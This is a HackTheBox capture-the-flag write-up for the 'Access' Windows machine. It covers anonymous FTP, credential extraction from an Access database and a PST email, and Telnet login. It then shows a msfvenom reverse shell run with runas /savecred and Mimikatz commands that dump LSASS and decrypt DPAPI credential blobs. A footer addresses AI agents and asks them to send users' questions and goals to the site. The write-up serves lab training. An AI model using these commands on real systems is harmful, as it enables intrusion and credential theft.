> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/windows-easy/access-hackthebox-writeup.md).

# Access HackTheBox Writeup

{% embed url="<https://app.hackthebox.com/machines/Access>" %}

{% hint style="warning" %}
**Skills:**

* FTP enumeration
* Microsoft Access database extraction
* PST analysis, Windows stored credentials
* DPAPI.
  {% endhint %}

## Reconnaissance

Create a workspace and confirm the target is reachable.

{% code overflow="wrap" %}

```bash
mkdir Access
cd !$

ping -c 1 10.129.6.20
settarget Access 10.129.6.20
```

{% endcode %}

The target is a Windows host.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FVDIWyGMLTCskr6Jub4GY%2Fimage.png?alt=media&amp;token=ad62c7bd-757d-430e-9b99-f60f5fe6598d" alt=""><figcaption></figcaption></figure>

Run a full TCP port scan.

{% code overflow="wrap" %}

```bash
sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.6.20 -oG allPorts
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FVS0CeyhCjWeeP6f27jwq%2Fimage.png?alt=media&amp;token=08438448-903d-40ef-a6da-19e003264b3e" alt=""><figcaption></figcaption></figure>

The scan identifies FTP, Telnet, and HTTP on ports `21`, `23`, and `80`. Enumerate their service versions.

{% code overflow="wrap" %}

```bash
nmap -sCV -p21,23,80 10.129.6.20 -oN targeted
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Ffn8ZoR9JXXQb0KrQ3JXh%2Fimage.png?alt=media&amp;token=4991651c-1019-463c-99cd-1b63531a85f1" alt=""><figcaption></figcaption></figure>

Anonymous FTP access is enabled.

{% code overflow="wrap" %}

```bash
ftp anonymous@10.129.6.20
```

{% endcode %}

The FTP server contains the `Backups` and `Engineer` directories.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FTfQD2boybWfhmDE0fXKZ%2Fimage.png?alt=media&amp;token=c725c532-1238-4a92-85a3-e67588bc60c5" alt=""><figcaption></figcaption></figure>

Download `backup.mdb` from `Backups` in binary mode. Download `Access Control.zip` from `Engineer`.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FKzch5DtPk2F18yLd0TgN%2Fimage.png?alt=media&amp;token=66a2cf26-11d3-4536-8d66-af1acd719d6c" alt=""><figcaption></figcaption></figure>

List the tables in the Microsoft Access database.

{% code overflow="wrap" %}

```bash
mdb-tables backup.mdb
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FHWDOmeDojxxzpsa5PfTJ%2Fimage.png?alt=media&amp;token=27db277d-c3c7-4238-84bc-feb0e4533204" alt=""><figcaption></figcaption></figure>

Export every table to CSV for review.

{% code overflow="wrap" %}

```bash
for table in $(mdb-tables backup.mdb); do
    mdb-export backup.mdb "$table" > "$table.csv"
done
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FJKB1AhwNf6QNXXD9T3Bu%2Fimage.png?alt=media&amp;token=44af28cc-1b98-4dff-bd58-854098d1915a" alt=""><figcaption></figcaption></figure>

The `auth_user.csv` export contains credentials.

{% code overflow="wrap" %}

```bash
id,username,password,Status,last_login,RoleID,Remark
25,"admin","admin",1,"08/23/18 21:11:47",26,
27,"engineer","access4u@security",1,"08/23/18 21:13:36",26,
28,"backup_admin","admin",1,"08/23/18 21:14:02",26,
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FmJl2ktm2tY9sjBTcefEb%2Fimage.png?alt=media&amp;token=3cf3b1f5-f9ad-4529-9f5f-172b60f2f45e" alt=""><figcaption></figcaption></figure>

Use the `engineer` password to extract the archive.

{% code overflow="wrap" %}

```bash
7z x Access\ Control.zip

access4u@security
```

{% endcode %}

The archive contains an Outlook PST file.

> Access Control.pst: Microsoft Outlook Personal Storage (>=2003, Unicode, version 23), dwReserved1=0x234, dwReserved2=0x22f3a, bidUnused=0000000000000000, dwUnique=0x39, 271360 bytes, bCryptMethod=1, CRC32 0x744a1e2e

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fx9boVWacMkC8qgfRJzLm%2Fimage.png?alt=media&amp;token=88eb71a9-b7c0-4f45-a56c-316d7141ab6f" alt=""><figcaption></figcaption></figure>

Extract the PST messages.

{% code overflow="wrap" %}

```bash
readpst -cv -e -o output Access\ Control.pst
```

{% endcode %}

This creates an `.eml` message.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F0QACuXWQNNabgThCKkA9%2Fimage.png?alt=media&amp;token=53d768b2-0d2d-4922-9148-12c7b3db20f6" alt="" width="563"><figcaption></figcaption></figure>

The email reveals the `security` account password.

{% code overflow="wrap" %}

```bash
Hi there,

The password for the “security” account has been changed to 4Cc3ssC0ntr0ller.  Please ensure this is passed on to your engineers.

Regards,

John
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FUuS1sfwnzt8Atl6bGmPk%2Fimage.png?alt=media&amp;token=032a163a-cd85-4a5d-b4fc-f6c9bce26b5b" alt=""><figcaption></figcaption></figure>

Log in to Telnet as `security`.

{% code overflow="wrap" %}

```bash
telnet 10.129.6.20 23
```

{% endcode %}

* security
* 4Cc3ssC0ntr0ller

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FYxR9raexynig7kmZcCOF%2Fimage.png?alt=media&amp;token=dcb90316-58d8-4612-ac95-6320427bcdf6" alt=""><figcaption></figcaption></figure>

Retrieve `user.txt`.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FI2U0WrPz5pgMzkX6V1eY%2Fimage.png?alt=media&amp;token=02748b50-a228-4b05-89c2-aee47737ac8a" alt="" width="563"><figcaption></figcaption></figure>

### Privilege escalation with stored credentials

List the credentials stored by Windows.

{% code overflow="wrap" %}

```bash
cmdkey /list
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fjjt1CwuEyxGdkfTFdcc7%2Fimage.png?alt=media&amp;token=a432ffae-80b6-44f1-9c98-07789946431e" alt=""><figcaption></figcaption></figure>

The stored `ACCESS\Administrator` credentials can run a process with `runas /savecred`. Create a reverse shell payload.

{% code overflow="wrap" %}

```bash
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.15.2 LPORT=1234 -f exe > nikos.exe
```

{% endcode %}

Transfer `nikos.exe` to the target. Then start a listener on port `1234`.

{% code overflow="wrap" %}

```bash
nc -nlvp 1234
```

{% endcode %}

Run the payload as `ACCESS\Administrator`.

{% code overflow="wrap" %}

```bash
runas /savecred /user:ACCESS\Administrator "nikos.exe"
```

{% endcode %}

The callback runs as Administrator.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FicWrstrFbRpaer3OffgR%2Fimage.png?alt=media&amp;token=ac609f78-43d2-416c-aa70-fd8fa09f7400" alt=""><figcaption></figcaption></figure>

Retrieve `root.txt`.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F1Gto8ORCqdGXkahypOA9%2Fimage.png?alt=media&amp;token=881eca78-e082-41d6-bddb-b71facf0cc2d" alt=""><figcaption></figcaption></figure>

### Recovering the saved administrator credential

The saved credential is protected with DPAPI. Recover its secret from the `security` profile.

#### Locate credential blobs

The blobs are in the `security` profile. Use `/a` because the files are hidden.

{% code overflow="wrap" %}

```bash
dir /a C:\Users\security\AppData\Roaming\Microsoft\Credentials
```

{% endcode %}

* `0F16D9D2A97B325E559235F507B7AB01`
* `51AB168BE4BDB3A603DADE4F8CA81290`

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FqAYw6BfQPEcE6RW36I5u%2Fimage.png?alt=media&amp;token=64c05956-1223-4e71-b1fb-180a27d6c014" alt=""><figcaption></figcaption></figure>

The correct blob is `51AB168BE4BDB3A603DADE4F8CA81290`. Its `08/22/2018` timestamp matches the Public Desktop `.lnk` file. The other blob was created during the assessment.

#### Identify the master key GUID

Inspect the blob to identify its required DPAPI master key.

{% code overflow="wrap" %}

```bash
mimikatz.exe "dpapi::cred /in:C:\Users\security\AppData\Roaming\Microsoft\Credentials\51AB168BE4BDB3A603DADE4F8CA81290" "exit"
```

{% endcode %}

Note the master key GUID.

* guidMasterKey: 0792c32e-48a5-4fe3-8b43-d93d64590580

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FCAcSHIjewR6HrFk3y3NZ%2Fimage.png?alt=media&amp;token=26894652-1627-41c2-a857-f347582d118e" alt=""><figcaption></figcaption></figure>

#### Check LSASS for the master key

Dump DPAPI master keys loaded in LSASS.

{% code overflow="wrap" %}

```bash
mimikatz.exe "privilege::debug" "sekurlsa::dpapi" "exit"
```

{% endcode %}

The required GUID `{0792c32e-...}` is absent. This happens because:

* The master key belongs to the `security` profile.
* The current session runs as `Administrator`.
* The `security` master key is not loaded in this context.

The dump only contains master keys for `Administrator` and `ACCESS$`.

```
GUID : {9851d4a5-f9b1-4277-b4ee-188e11f8e997}   → Administrator
GUID : {43ea2159-28dc-4507-90bd-751f19e7db5d}   → ACCESS$
```

#### Decrypt the master key from disk

Decrypt the master key directly from disk. Use the known `security` password.

First, locate the master key file.

{% code overflow="wrap" %}

```bash
dir /a C:\Users\security\AppData\Roaming\Microsoft\Protect\S-1-5-21-953262931-566350628-63446256-1001
```

{% endcode %}

{% hint style="info" %}
The `security` SID ends with `-1001`. The Administrator SID ends with `-500`.
{% endhint %}

Decrypt the master key with Mimikatz.

{% code overflow="wrap" %}

```bash
mimikatz.exe "dpapi::masterkey /in:C:\Users\security\AppData\Roaming\Microsoft\Protect\S-1-5-21-953262931-566350628-63446256-1001\0792c32e-48a5-4fe3-8b43-d93d64590580 /sid:S-1-5-21-953262931-566350628-63446256-1001 /password:4Cc3ssC0ntr0ller" "exit"
```

{% endcode %}

The master key SHA-1 is `bf6d0654ef999c3ad5b09692944da3c0d0b68afe`.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F52j5JHIQby1fLXuxNZgd%2Fimage.png?alt=media&amp;token=91396364-6d7f-47c9-a195-a0a33472b1ef" alt=""><figcaption></figcaption></figure>

#### Decrypt the credential blob

Use the master key SHA-1 to decrypt the credential blob and recover the saved password.

{% code overflow="wrap" %}

```bash
mimikatz.exe "dpapi::cred /in:C:\Users\security\AppData\Roaming\Microsoft\Credentials\51AB168BE4BDB3A603DADE4F8CA81290 /masterkey:bf6d0654ef999c3ad5b09692944da3c0d0b68afe" "exit"
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F9MyDGfapQIAsSlsZA7iq%2Fimage.png?alt=media&amp;token=e1d3de3b-0025-442d-a10d-29d4a84c7873" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/windows-easy/access-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
